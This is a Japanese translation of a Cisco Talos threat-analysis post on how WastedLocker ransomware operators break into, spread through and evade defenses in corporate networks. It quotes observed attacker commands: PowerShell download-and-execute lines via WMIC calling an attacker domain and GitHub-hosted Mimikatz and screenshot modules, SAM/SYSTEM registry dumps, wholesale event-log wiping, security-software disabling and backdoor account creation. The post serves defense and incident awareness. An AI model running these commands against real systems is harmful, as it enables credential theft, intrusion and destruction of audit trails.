脅威サマリー
- WastedLocker の攻撃者は、まず企業ネットワークに侵入して、自身の権限を昇格させます。そしてラテラルムーブメントにより侵入先を広げたうえで、ランサムウェアを起動して身代金の支払いを要求します。
- 攻撃者は、「デュアルユース」のツールと「LoLBin」を駆使して検出の網をかいくぐり、企業環境に潜んで攻撃を展開します。
- WastedLocker は、ラテラルムーブメントと特権昇格の反復によりランサムウェアの効力を最大化させている最新の事例だと言えます。
- この「大物狩り(Big-game Hunting)」の手法を使った事例が相次いでいることから、運営や財務の面で世界中の組織に甚大な被害が出ています。
背景情報
世界中の組織にとって深刻な脅威となっているランサムウェアは、システムの動作を阻害するために利用されます。感染した被害者には、システムを通常の動作に戻すための身代金(暗号通貨)が要求されます。攻撃者はランサムウェア攻撃に熟達するにつれて手口をさらに洗練させ、恐喝による収益を挙げています。最近では、ランサムウェアの恐喝機能を標的の環境内で起動する前に、特権昇格とラテラルムーブメントが駆使されるようになりました。
企業ネットワーク内の多数のシステムに仕掛けたランサムウェアを同時に有効にすることで、攻撃者は最大限のダメージを与えることができます。感染したエンドポイントが少数の場合と比べて、身代金の要求に組織が屈する可能性が高くなるからです。組織のバックアップ戦略やリカバリ戦略では、本番環境の大部分が同時に被害を受けるような状況が想定されていない傾向にあることも、ランサムウェアの危険性に拍車をかけています。また、攻撃者が身代金の要求額をつり上げることも可能になります。感染したシステムの回復と引き換えに、数十万ドル以上の身代金を要求されることも多くあります。これが、「大物狩り(Big-game Hunting)」とも呼ばれる手法です。
最近 1 年間で、攻撃者がこの手法を用いる頻度が高まっています。直近の例では、「WastedLocker」と呼ばれるランサムウェアファミリを駆使する攻撃者が台頭しています。WastedLocker の攻撃者は、Cobalt Strike、Mimikatz、Empire、PowerSploit といった各種の「デュアルユース」のツールセットを活用して、標的とする環境全体でラテラルムーブメントを円滑に進められるようにしています。これらのツールセットは、侵入テストやレッドチームの活動を後押しする目的で開発されるものです。しかし、攻撃者が採り入れていることも珍しくありません。さらに、OS のネイティブ機能とともに「LoLBin」を使用すると、攻撃者は検出の網を回避して、ランサムウェアを有効化するまで姿を隠すことができます。
技術詳細
WastedLocker 攻撃については、昨今、詳細なレポートが相次いで発行されています。今回の投稿では、WastedLocker 攻撃のさまざまなフェーズを掘り下げます。さらに、ネットワーク内での作用範囲を最大化し、環境全体にわたってランサムウェアの活性化を促ために、攻撃者がターゲット環境内で実施する戦術、技法、手順も説明します。
侵入経路とセキュリティ侵害の内容
ATT&CK の手口:ドライブバイダウンロードによるセキュリティ侵害(T1189)
以前のレポートで説明したとおり、最初のセキュリティ侵害は偽の Google Chrome アップデートに関連しているようです。このアップデートは、被害者が侵害された Web サイトを参照した際に、ドライブバイダウンロード攻撃を通じて配信されます。最初のマルウェアは、悪意のある JavaScript ファイルを収めた ZIP アーカイブとして被害者に配信されます。次に、その JavaScript が wscript.exe で実行され、感染プロセスが開始されます。
C:\Windows\System32\WScript.exe C:\Users\<USERNAME>\AppData\Local\Temp\Temp1_Chrome.Update.b343b0.zip\Chrome.Update.c9a747.js
攻撃者は、Cobalt Strike のペイロードも併用して、感染したシステムでのコマンド実行、プロセスインジェクション、特権昇格、プロセスの偽装を行います。また、Cobalt Strike はシステム上でクレデンシャルをダンプする目的にも使用されます。その狙いは、侵害されたネットワーク上の他のシステムの認証を受けて、以後のラテラルムーブメントを円滑に進めることです。
実行
ATT&CK の手口:PowerShell(T1086)
ATT&CK の手口:サービスの実行(T1035)
PowerShell 実行ポリシー
PowerShell の実行ポリシーは、「RemoteSigned」に設定されていました。つまり、署名を要求されることなく、ローカル環境に作成した PowerShell スクリプトを実行することが可能になっていました。
powershell /c Set-ExecutionPolicy RemoteSigned
リモートからのコマンド実行
環境に含まれているリモートシステム上でコマンドを実行するための態勢が、PSExec ユーティリティによって確立されていました。
psexec -s \\<HOSTNAME>|<IP_ADDRESS> cmd
特権昇格
ATT&CK の手口:信頼済み開発者ユーティリティ(T1127)
攻撃者は、Cisco Talos が以前に解説した msbuild.exe の LoLBin を利用して、エンドポイント検出を回避し、Cobalt Strike のペイロードを実行します。以下に、それらのペイロードの実行に使用されている msbuild の例を示します。
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe","C:\\Programdata\\\\moveme.csproj"
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe","C:\\Programdata\\\\m0v3m3.csproj
ラテラルムーブメント
ATT&CK の手口:Windows Management Instrumentation(T1047)
ATT&CK の手口:Windows 管理共有(T1077)
リモートシステムでのコマンドの実行を円滑化するため、Windows Management Instrumentation(WMI)のコマンドライン ユーティリティである wmic.exe を利用して、ラテラルムーブメントが実行されます。この機能は、リモートでホストされている PowerShell スクリプトをダウンロードするために使用されるものです。スクリプトは、Invoke-Expression(IEX)コマンドレットに渡してネットワーク全体で実行できます。このアクティビティの例を以下に示します。
C:\Windows\System32\Wbem\WMIC.exe /node:<IP_ADDRESS> process call create cmd /c powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('hxxp://cofeedback[.]com/download/4uth');jgifjgtebcndpgjk 19172
攻撃者は、Windows の管理共有(ADMIN$ 共有)を利用して、侵害したネットワークのシステム間でデータを移動しています。
クレデンシャルダンプ
ATT&CK の手口:クレデンシャルのダンプ(T1003)
ATT&CK の手口:レジストリ内のクレデンシャル(T1214)
ほとんどのドメイン環境では、Windows のクレデンシャルを使用して、ネットワークのさまざまなシステムの認証を受けることができます。攻撃者は多くの場合、侵害したシステムにあるキャッシュされたクレデンシャルをダンプします。目的は、同一のセキュリティ境界またはドメインにある他のシステムの認証をリモートから受けられるようにすることです。WastedLocker の攻撃者については、いくつもの手口を駆使して、標的システム上にキャッシュされているクレデンシャルを抜き取っていたことが観測されています。
Cisco Talos の観測では、Microsoft 社の SysInternals Suite に含まれている Procdump が使用され、Cobalt Strike でクレデンシャルがダンプされていました。
また、以下のレジストリ位置に保持されている内容が「reg save」コマンドで抽出され、レジストリベースでもクレデンシャルの抜き取りが行われています。
reg save HKLM\SAM C:\programdata\SamBkup.hiv
reg save HKLM\SYSTEM C:\programdata\FileName.hiv
さらに、Empire のコンポーネントである Mass-Mimikatz を利用して、ネットワーク上のいくつものシステムで Mimikatz を実行できるようにしていました。これは、WMI を使用して PowerShell のプロセスを新たに生成することで達成されています。この PowerShell プロセスは、MassMimikatz モジュールを GitHub から取得して IEX に引き渡し、パラメータ付きで実行するために使用されるものです。それらのパラメータは、リモートシステムからのクレデンシャル抜き取りを円滑に進めるために使用されます。
C:\WINDOWS\SYSTEM32\WBEM\WMIC.exe /node:localhost process call create powershell /c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent[.]com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'24346D, COMPUTERNAME2'|Invoke-MassMimikatz -Verbose > c:/programdata/2.txt
以前のレポートでは、攻撃者が Empire を利用しなくなっている点を指摘しました。しかし、このツールセットのコンポーネントが実際の攻撃で引き続き使用されていることを観測しました。元の Empire プロジェクトはもはや積極的な開発が行われていないものの、プロジェクトは分岐し、新たなプロジェクトで開発が継続されています。ただし、WastedLocker の攻撃者が利用しているのは、当初のプロジェクトリポジトリから取得されたモジュールです。
先ほど述べたとおり、攻撃者はネットワーク上で再利用できるクレデンシャルを抜き取るため、いくつもの手口を使いこなしています。多くの場合、この抜き取りはラテラルムーブメントに最も効果的かつ効率的な手法です。サービスアカウントや管理目的で使用されるアカウントなど、特権を持っているクレデンシャルが攻撃者の手に渡った場合、ドメイン環境での特権昇格が可能になることも少なくありません。
調査
ATT&CK の手口:アカウント調査(T1087)
ATT&CK の手口:プロセス調査(T1057)
ATT&CK の手口:リモートシステム調査(T1018)
ATT&CK の手口:システム情報調査(T1082)
攻撃者は、環境の侵害に成功すると、さまざまなアクティビティを実施して、システムが配置されている環境のほか、システムについてもさらに情報を引き出していました。攻撃者は長期的な目標達成に向けて工作を続ける過程で、このセキュリティ侵害後の調査プロセスによって、環境の設定やラテラルムーブメントの他の標的を特定します。注目すべきは、このセクションで説明した調査と列挙のアクティビティを、システム上で攻撃者がすべて手動で実行していたことです。スクリプトなどによる自動化はありませんでした。いくつかの事例では、コマンドライン構文で誤字をしていました。構文は直後に修正され、引き続きコマンドが実行されました。さまざまな調査と列挙のアクティビティについて、いくつかの例を以下で紹介します。
アカウントと特権の列挙
C:\Windows\System32\cmd.exe /C whoami /all >> C:\Users\<USERNAME>\AppData\Local\Temp\rad971D8.tmp
C:\WINDOWS\system32\net.exe user <USERNAME> /domain
C:\WINDOWS\system32\net1 user <USERNAME> /domain
C:\WINDOWS\system32\cmd.exe /C quser
C:\WINDOWS\system32\quser.exe /server:<IP_ADDRESS>
C:\Windows\system32\cmd.exe /C qwinsta
C:\WINDOWS\system32\qwinsta.exe /server:<IP_ADDRESS>
グループのメンバーシップの列挙
C:\Windows\System32\cmd.exe /C net group domain admins /domain >> C:\Users\<USERNAME>\AppData\Local\Temp\rad65F1C.tmp
システムやドメインの信頼の列挙
C:\Windows\system32\cmd.exe /C nltest /dclist:<DOMAIN|IP_ADDRESS>
ローカルシステムの列挙
C:\Windows\system32\cmd.exe /C systeminfo | findstr /B /C:OS Name /C:OS Version
powershell.exe (Get-WmiObject -Query 'SELECT Caption FROM Win32_OperatingSystem').Caption
wmic path win32_operatingsystem get caption
ローカルサービスの列挙
sc queryex type= service
C:\Windows\System32\cmd.exe /C net start >> C:\Users\<USERNAME>\AppData\Local\Temp\rad38FFC.tmp
C:\Windows\system32\net1 start
C:\Windows\system32\cmd.exe /C powershell Get-WmiObject win32_service -ComputerName localhost | Where-Object {$_.PathName -notmatch c:\\win} | select Name, DisplayName, State, PathName | findstr Running
powershell Get-WmiObject win32_service -ComputerName localhost
ネットワークと共有フォルダの列挙
C:\WINDOWS\system32\cmd.exe /C net use
C:\WINDOWS\system32\cmd.exe /C dir \\<IP_ADDRESS>\c$
C:\Windows\system32\cmd.exe /C dir \\<HOSTNAME>\c$\programdata
C:\WINDOWS\system32\cmd.exe /C ping -n 1 <HOSTNAME>
ネットワークの接続性/出力テスト
C:\Windows\system32\cmd.exe /C ping -n 1 cofeedback[.]com
防御の回避
ATT&CK の手口:ホスト上のインジケータの除去(T1070)
ATT&CK の手口:セキュリティツールの無効化(T1089)
ATT&CK の手口:配信後のコンパイル(T1500)
攻撃者はシステムとやり取りした後、PsExec を使用して「wevtutil.exe」ユーティリティを呼び出していました。このユーティリティでは、システムのローカル セキュリティ イベント ログの内容が消去されています。特定のログエントリの削除や、ログに関連付けられているタイムスタンプの改ざんではなく、ログファイルの内容全体をあっさりと消去していました。ログエントリの消去に加え、侵害したシステムに展開されているエンドポイント セキュリティ ソフトウェアも無効にしていました。以下に、これらの手法の実例を示します。
ログエントリの消去
PsExec.exe -s \\localhost cmd /c for /F tokens=* %1 in ('wevtutil.exe el') DO wevtutil.exe cl %1
エンドポイント保護の停止と無効化
Symantec Endpoint Protection や Windows Defender をはじめ、エンドポイントシステムに展開されているセキュリティ保護の無効化が何度か試みられ、成功していました。エンドポイント向け Cisco AMP の無効化も再三試みられていましたが、そちらは失敗に終わっています。
Symantec Endpoint Protection を無効にしようとする試み
C:\WINDOWS\system32\cmd.exe /c C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.2.5323.2000.105\Bin\Smc.exe -stop
C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.2.5323.2000.105\Bin\Smc.exe -disable -sep
エンドポイント向け Cisco AMP を無効にしようとする試み
C:\Windows\system32\taskkill.exe /F /IM sfc.exe
C:\Windows\system32\cmd.exe /C C:\Program Files\Cisco\AMP\7.2.7\sfc.exe -stop
Windows Defender の機能を無効にしようとする試み
C:\Program Files\Windows Defender\MpCmdRun.exe -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
さらに、侵害した環境に含まれている他のシステムにペイロードを配信する際は、.NET の実行時コンパイルも頻繁に利用していました。
.NET の実行時コンパイル
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 /OUT:C:\Users\<USERNAME>\AppData\Local\Temp\RESF8F4.tmp c:\Users\<USERNAME>\AppData\Local\Temp\h4bie4kg\CSC81E10858D57A44649763EE5728D5E87.TMP
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /fullpaths @C:\Users\<USERNAME>\AppData\Local\Temp\h4bie4kg\h4bie4kg.cmdline
永続化
侵害した環境に含まれているシステムに永続的にアクセスしようとする攻撃者の常套手段は、バックドアアカウントを作成することです。最初のセキュリティ侵害を果たせば、システムにそのアカウントでアクセスできてしまうのです。バックドアとして使用できるローカル管理者アカウントを攻撃者がシステムに作成しようとしていたことが観測されています。
C:\WINDOWS\system32\cmd.exe /C net user Admim <PASSWORD> /ADD
C:\WINDOWS\system32\cmd.exe /C net localgroup Administrators Admim /ADD
収集アクティビティ
WMI も、ネットワークのリモートシステムで PowerShell のプロセスを実行する目的で使用されています。IEX コマンドレットで PowerSploit のモジュール「Get-TimedScreenshot」を GitHub リポジトリから取得し、リモートシステムで実行します。そして、スクリーンショットを 30 秒間隔でキャプチャします。
C:\Windows\System32\Wbem\WMIC.exe /node:<REMOTE_IP> process call create powershell /c IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent[.]com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-TimedScreenshot.ps1');Get-TimedScreenshot -Path c:\programdata\ -Interval 30
収集されるスクリーンショットは、リモートシステムの %PROGRAMDATA% ディレクトリに保存され、ラテラルムーブメントに利用されます。
まとめ
WastedLocker の攻撃者が用いる戦術、技法、手順から、この攻撃が組織の環境でどのように展開されるかが窺えます。攻撃者は水平方向に移動し、特権を昇格させ、昇格後のアクセス権で環境の大部分に侵入して、ランサムウェアペイロードの効果を最大化します。組織がこのような攻撃を防ぐには、境界セキュリティを展開するだけでは必ずしも十分ではありません。境界セキュリティによる防御が攻撃によって破られた後、組織のネットワークで実行され得る不正なアクティビティを確実に予防、検出して対処できるよう、複層構造のセキュリティも導入する必要があります。また、組織のバックアップ戦略とリカバリ戦略が、ビジネスの運営を阻害しかねないあらゆるシナリオと照らし合わせて検証されていることも大切です。システムやインフラストラクチャの大部分が同時に被害を受けた場合も、確実に回復できなければなりません。攻撃者は、自らの企てを成し遂げるための戦略を絶えず洗練させています。Cisco Talos は、脅威の状況全体を見渡し、そのような巧妙化を観測し続けます。
カバレッジ
お客様がこの脅威を検出してブロックするための方法を以下に記載します。
Advanced Malware Protection(AMP)は、これらの攻撃者がマルウェアを実行できないようにするための最適な方法です。AMP 内に存在するエクスプロイト防止機能は、このような未知の攻撃からお客様を自動的に保護するように設計されています。
Cisco クラウド Web セキュリティ(CWS)または Web セキュリティアプライアンス(WSA)の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述の攻撃で使用されるマルウェアを検出します。
次世代ファイアウォール(NGFW)、次世代侵入防御システム(NGIPS)、Cisco ISR、Meraki MX などのネットワーク セキュリティ アプライアンス。
AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすると、最新状態を維持できます。
本稿は 2020 年 7 月 6 日に Talos Group のブログに投稿された「WastedLocker Goes “Big-Game Hunting” in 2020」の抄訳です。